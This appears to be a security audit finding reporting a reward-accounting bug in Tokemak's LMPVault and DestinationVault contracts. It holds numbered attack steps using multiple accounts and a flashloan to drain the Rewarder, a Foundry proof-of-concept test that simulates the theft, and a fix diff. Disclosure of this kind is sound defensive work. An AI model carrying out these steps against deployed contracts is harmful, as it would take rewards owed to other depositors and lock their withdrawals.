Sticky Malachite Rook

high

# An attacker can steal all the rewards due to incorrect reward accounting
## Summary
In the `DestinationVault` and `LMPVault` contracts, the `rewarder.stake()` function is being called in the `_afterTokenTransfer` hook instead of being called in the `_beforeTokenTransfer` hook. As a result of this, unrealized rewards of the stake receiver will be calculated using the new stake balance instead of the old stake balance. An attacker could potentially exploit this issue to steal all the rewards in the `Rewarder` contract.

## Lines Of Code
[https://github.com/Tokemak/v2-core-audit-2023-07-14/blob/62445b8ee3365611534c96aef189642b721693bf/src/vault/LMPVault.sol#L854-L865](https://github.com/Tokemak/v2-core-audit-2023-07-14/blob/62445b8ee3365611534c96aef189642b721693bf/src/vault/LMPVault.sol#L854-L865)

[https://github.com/Tokemak/v2-core-audit-2023-07-14/blob/62445b8ee3365611534c96aef189642b721693bf/src/vault/DestinationVault.sol#L345-L354](https://github.com/Tokemak/v2-core-audit-2023-07-14/blob/62445b8ee3365611534c96aef189642b721693bf/src/vault/DestinationVault.sol#L345-L354)

## Vulnerability Detail
1. Whenever a liquidity movement occurs in the `stakeTracker`, the reward data of both the stake sender and the stake receiver should be updated with their respective old liquidity balances.
2. But, in `LMPVault` and `DestinationVault`, the sender's reward data is updated with the old stake balance, while the receiver's reward data is updated using the new stake balance because `rewarder.stake` is being called in `_afterTokenTransfer` hook.

## Attack Steps
1. Attacker mints 1 wei share of `LMPVault`  with multiple accounts when deposits start for the vault.
2. Attacker waits some time to get some decent amount unrealized rewardPerToken.
3. Now attacker takes a flashloan and mints huge amount `LMPVault` shares.
4. The attackers unrealized rewardPerToken will be multiplied with new balance. So he will get more amount of rewards than what he should actually get.
5. Now the attacker transfers those huge amount of shares from one account to another account to all those accounts created in step 1 so that all the other accounts will also realize more rewards than required until he drains all the rewards in the `Rewarder`.


## Impact
1. An attacker can steal almost all the rewards in the Rewarder.
7. Withdrawals of `LMPVault` and `DestinationVault` will be brickedf because the `_processRewards()` function is being called in `rewarder.stake()`, but the rewarder will not have enough rewards for other users who are trying to withdraw their stakes. As a result, withdrawals from Destination and LMP Vaults will be locked.


## Code Snippet
```solidity
    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual override {
        // Nothing to do really do here
        if (from == to) {
            return;
        }

        // @audit stake function is being called after transfer 
        // so reward accouting will happen with new balance
        if (to != address(0)) {
            rewarder.stake(to, amount);
        }
    }
```


## POC
```solidity
function test_rewards_accounting_issue() public {
        address victim = vm.addr(100);
	address attacker = vm.addr(200);

	_asset.mint(victim, 1000);
	_asset.mint(attacker, 30000);


	// 1.Admin queued new rewards
	_accessController.grantRole(Roles.LIQUIDATOR_ROLE, address(this));
	_toke.mint(address(this), 1000);
	_toke.approve(address(_rewarder), 1000);
	_rewarder.queueNewRewards(1000);

	// 2. Victim deposited funds to the LMPVault
	vm.startPrank(victim);
	_asset.approve(address(_lmpVault), 1000);
	_lmpVault.deposit(1000, victim);
	vm.stopPrank();

	// 3. Attacker deposited very small amount of funds to the LMPVault
	vm.startPrank(attacker);
	_asset.approve(address(_lmpVault), 10);
	_lmpVault.deposit(10, attacker);
	vm.stopPrank();

	vm.roll(block.number + 101);

	console.log("Rewards Before Attack:");
	console.log("Attacker Rewards = %s", _rewarder.earned(attacker));
	console.log("Victim Rewards   = %s\n", _rewarder.earned(victim));

	console.log("Rewards Before Attack:");

	// 4.Attacker deposits and withdraw a huge amount of funds in the same block using a flashloan
	vm.startPrank(attacker);
	_asset.approve(address(_lmpVault), 29000);
	_lmpVault.deposit(29000, attacker);
	_lmpVault.withdraw(29010, attacker, attacker);
	vm.stopPrank();


	// 5. Victim withdraw his funds from LMPVault
	vm.startPrank(victim);
	_lmpVault.withdraw(1000, victim, victim);
	vm.stopPrank();


	console.log("Attacker Rewards = %s", _toke.balanceOf(attacker));
	console.log("Victim Rewards   = %s", _toke.balanceOf(victim));

}
```

## Tool used

Manual Review

## Recommendation
Move `rewarder.stake()`  external call to `_beforeTokenTransfer` hook
```diff
    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override whenNotPaused {
        
        if (from == to) {
            return;
        }

        if (from != address(0)) {
            rewarder.withdraw(from, amount, true);
        }

+       if (to != address(0)) {
+           rewarder.stake(to, amount);
+       }

        if (balanceOf(to) + amount > perWalletLimit) {
            revert OverWalletLimit(to);
        }
    }
```
